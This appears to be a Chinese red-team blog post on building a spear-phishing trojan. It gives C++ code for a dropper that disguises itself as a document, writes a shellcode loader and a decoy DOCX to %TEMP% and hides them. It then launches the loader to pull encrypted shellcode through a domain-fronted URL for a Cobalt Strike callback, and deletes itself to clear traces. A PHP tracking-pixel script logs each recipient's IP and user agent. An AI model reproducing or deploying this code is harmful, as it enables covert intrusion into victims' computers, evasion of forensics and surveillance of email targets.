鱼叉攻击-炮轰马的制作

本文主要分享钓鱼马的制作思路，也都是尝试，经验不够丰富。关于邮件投递的问题，后续我们展开来讲。

在红队工作中，往往长时间无法打到一个据点，鱼叉攻击会是最常见的攻击快速的手段，根据场景制定不同的邮件样本会得到意想不到的效果。

0x01 木马思路

将样本自身图标伪装成图片或文档，运行样本之后释放资源中的相应的DOC文档以及加载器并设置隐藏文件属性，然后创建进程远程请求域前置服务端解密shellcode并加载到内存中运行，依次打开用于社工掩护的word文档迷惑目标，程序判断运行完毕并删除自身。

实现流程

开发工具：Visual Studio 2017

一、资源释放

思路：①加载文件到工程中，②使用函数查找资源，③创建文件，④写入资源。

1.在项目工程上点击右键，选择“添加资源”；

2.选择"导入"项，选择“所有文件”，选择要导入的文件

3.会弹出命名自定义资源类型的对话框，自定义我们的资源类型；

4.点击确定后，完成导入，"Ctrl+S"保存二进制资源文件；

5.可以在自动添加的“resource.h”头文件中看到资源ID宏；

6.编程实现载入资源。

EXE资源载入文件代码：

#include <iostream>#include <cstdio>#include <cstdlib>#include <Windows.h>#include "resource.h"using namespace std;typedef VOID(*Func)(VOID);char *randstr(char *str, const int len){    srand(time(NULL));    int i;    for (i = 0; i < len; ++i)    {        switch ((rand() % 3))        {        case 1:            str[i] = 'A' + rand() % 26;            break;        case 2:            str[i] = 'a' + rand() % 26;            break;        default:            str[i] = '0' + rand() % 10;            break;        }    }    str[i] = '\0';    return str;}BOOL ReleaseLibrary(UINT uResourceId, CHAR* szResourceType, CHAR* szFileName){    // 找到资源    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(uResourceId), szResourceType);    // 获取资源大小    DWORD dwSize = SizeofResource(NULL, hRsrc);    // 载入资源    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);    // 锁定资源，并返回指向资源第一字节的指针    LPVOID lpRes = LockResource(hGlobal);    HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);    DWORD dwWriten = 0;    BOOL bRes = WriteFile(hFile, lpRes, dwSize, &dwWriten, NULL);    CloseHandle(hFile);    CloseHandle(hGlobal);    CloseHandle(hRsrc);    return TRUE;}int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd){    char name[20];    char *exe = randstr(name, 8);    ZeroMemory(SaveFile, MAX_PATH);    GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH);    const char * FileName = "\\";    strcat_s(SaveFile, FileName);    strcat_s(SaveFile, exe);    strcat_s(SaveFile, TEXT(".exe"));    BOOL wRes = ReleaseLibrary(IDR_KKKPPC1, (CHAR*)"KKKPPC", (CHAR*)SaveFile);            BOOL bRes = ReleaseLibrary(IDR_LGASD1, (CHAR*)"LGASD", (CHAR*)"关于XXXXX.docx");}

运行样本之后，在%TEMP%目录下释放shellcode加载器以及相应内容的DOC文档，

二、文件隐蔽

使用Attrib +s +h命令把原本的文件增加了系统文件属性、隐藏文件属性。

这样该文件就不能在目录中被发现，但是仍然存在可以访问

attrib C:\Users\ThinkPad\AppData\Local\Temp\jqR78D62.exe  +s +h

三、创建进程

使用CreateProcess()创建进程，这里配合的是uknow师傅的[shellcode远程加载器改造计划]，去配合DoaminFronting 远程动态AES加密加载shellcode。

https://mp.weixin.qq.com/s/Zs\_fCqZfzdzHTwVPvshFyQ

        PROCESS_INFORMATION pi;        STARTUPINFO si = { sizeof(si) };        si.cb = sizeof(si);        si.wShowWindow = TRUE;        strcat_s(SaveFile, TEXT(" http://qq.com/api DomainFronting"));        BOOL bRet = CreateProcess(            NULL,//不在此指定可执行文件的文件名            SaveFile,//命令行参数            NULL,//默认进程安全性            NULL,//默认进程安全性            FALSE,//指定当前进程内句柄不可以被子进程继承            CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口            NULL,//使用本进程的环境变量            NULL,//使用本进程的驱动器和目录            &si,            &pi);

最后打开诱饵文件，此时cobalt strike已经成功上线。

ShellExecute(NULL, "open", "关于XXXXX.docx", NULL, NULL, SW_SHOW);

四、痕迹清除

删除自身程序代码：

// this is the name of the temporary .bat filestatic const char tempbatname[] = "_uninsep.bat" ;void Selfdestruct() {  // temporary .bat file  static char templ[] =     ":Repeat\r\n"    "del \"%s\"\r\n"    "if exist \"%s\" goto Repeat\r\n"    "rmdir \"%s\"\r\n"    "del \"%s\"" ;  char modulename[_MAX_PATH] ;    // absolute path of calling .exe file  char temppath[_MAX_PATH] ;      // absolute path of temporary .bat file  char folder[_MAX_PATH] ;  GetTempPath(_MAX_PATH, temppath) ;  strcat(temppath, tempbatname) ;  GetModuleFileName(NULL, modulename, MAX_PATH) ;  strcpy (folder, modulename) ;  char *pb = strrchr(folder, '\\');  if (pb != NULL)    *pb = 0 ;  HANDLE hf ;  hf = CreateFile(temppath, GENERIC_WRITE, 0, NULL,               CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) ;  if (hf != INVALID_HANDLE_VALUE)  {    DWORD len ;    char *bat ;    bat = (char*)alloca(strlen(templ) +                strlen(modulename) * 2 + strlen(temppath) + 20) ;    wsprintf(bat, templ, modulename, modulename, folder, temppath) ;    WriteFile(hf, bat, strlen(bat), &len, NULL) ;    CloseHandle(hf) ;    ShellExecute(NULL, "open", temppath, NULL, NULL, SW_HIDE);  }}

假设要销毁自身的可执行文件位于_c：\ myfolder \ selfdestruct.exe中_。该Selfdestruct()函数将在计算机的temp文件夹中创建以下.bat文件，然后启动它：

:Repeatdel "c:\myfolder\selfdestruct.exe"if exist "c:\myfolder\selfdestruct.exe" goto Repeatrmdir "c:\myfolder"del "c:\temp\_uninsep.bat" ;

.bat文件将循环删除_c：\ myfolder \ selfdestruct.exe_，直到最终成功（即_selfdestruct.exe_完成执行后。）然后尝试删除包含的文件夹（此处为_c：\ myfolder_），只有当它为空时才起作用，最后将其自身删除。

效果演示

鱼竿感知

如果平常去河边钓鱼，要使用浮漂才会知道这条河是否有鱼吃饵料，同理当邮件投递出去后，判断目标是否点击了邮件，不至于那么的苦等，这里我丢一个简单的demo,实际上它是可以写成一个框架的。

stat.php

<?php    include "c/functions.php";    include "c/db.php";    $vrfy=get_request( false, "vrfy");    if ( $vrfy<>"" ){        echo "Vrfy OK";        exit;    }    pub_getstatparas( $mail_id, $email, $randcode );//function pub_getstatparas( &$amailid, &$aemail, &$arandcode ){//    $p = get_request( false, "p" );////    if  (strlen($p)>0 ){//        //解密 BASE64//        $p = base64_decode( $p );//        $paras = explode( "?", $p );//        $npara = count( $paras )-1;////        $arandcode=0;//        if ( $npara >= 1 ){//            $amailid = $paras[0];//            $aemail = $paras[1];//            if ( $npara >= 2 ){//                $arandcode = $paras[2];//            }//        }////        $amailid = URLDecode( $amailid );////        if ( ! is_numeric( $arandcode ) )//            $arandcode = 0;////        //防止标识超过长度限制//        if ( strLen( $amailid)>20 )//            $amailid = substr( $amailid, 0, 20 );//    }//}    $berror = false;    //' 记录统计    if ( $mail_id<>"" and strlen($mail_id)>0 and strpos( $email, "@" )>1 ){        //'读取黑白名单设置        $badd = get_isadd( $mail_id, $email );        //' 需要添加记录        if ( $badd ){            $cls_db = new class_database;            $cls_db->OpenConnect();            $cmd = "SELECT * FROM `stat` WHERE mail_id=?;";            $p =  array ( $mail_id );            $cls_db->getrecords( $cmd, $p, $db );            //'添加统计记录            $rs = $db->fetch();            if ( $rs )            {                $id = $rs["id"];                $n = $rs["mail_read"];                $n ++;                $n = $cls_db->execsql( "UPDATE stat SET mail_read=$n WHERE id=$id" );                // 判断 list 表中是否有这个地址                $cmd = "SELECT * FROM [list] WHERE mailid=? AND email=? LIMIT 0,1;";                $p = array ( $id, $email );                $cls_db->getrecords($cmd, $p, $db2);                $rs2 = $db2->fetch();                if ( !$rs2 )                {                    $n = $rs["mail_read_2"];                    $n++;                    $n = $cls_db->execsql( "UPDATE stat SET mail_read_2=$n WHERE id=$id" );                }            }            else{                $mt = $cls_db->m_connect->prepare( "INSERT INTO stat(mail_id, mail_read, mail_read_2) VALUES(?, 1, 1)");                $mt->execute( array( $mail_id ) );            }            // 重新获取ID            $cmd = "SELECT * FROM `stat` WHERE mail_id=?;";            $p =  array ( $mail_id );            $cls_db->getrecords( $cmd, $p, $db );            $rs = $db->fetch();            $id = $rs["id"];            //'添加详细记录            try{                //var_dump( $_SERVER );                $ip =  $_SERVER['REMOTE_ADDR'];                $agent = $_SERVER["HTTP_USER_AGENT"];                 $t = date('Y-m-d H:i:s',time());                $mt = $cls_db->m_connect->prepare( "INSERT INTO list(mailid, ip, client, email, date, randcode) VALUES(?, ?, ?, ?, ?, ? );");                $mt->execute( array( $id, $ip, $agent, $email, $t, $randcode) );            }catch(PDOException $e)            {                echo $e->getMessage();                $berror = true;            }            $cls_db->CloseConnect();        }    }    if ( ! $berror )    {        header( "Content-Type: image/gif" );        readfile("images/blank.gif");        exit;    }?>

实现流程：

一、在邮件中插入一张图片，这里通过php中的readfile() 函数读取本地图片，这里的图片可以使用目标公司的logo，并写入到输出缓冲。

http://xx.xx.xx.xx.xx/stat.php?p=U0NDV18xMz8yMDA2QDE2My5jb20/NjI3MzY=

U0NDV18xMz8yMDA2QDE2My5jb20/NjI3MzY= base64加密的内容格式为：

邮件标识|接受邮箱|随机码

SCCW_13?2006@163.com?62736

二、当目标出网的情况下，点击邮件浏览器发出HTTP请求图片，后端处理前端发送过来的参数并进行展示。

结语

就说到这里～如果有意向可以一起交流。

长亭百川云 - 文章详情

长亭百川云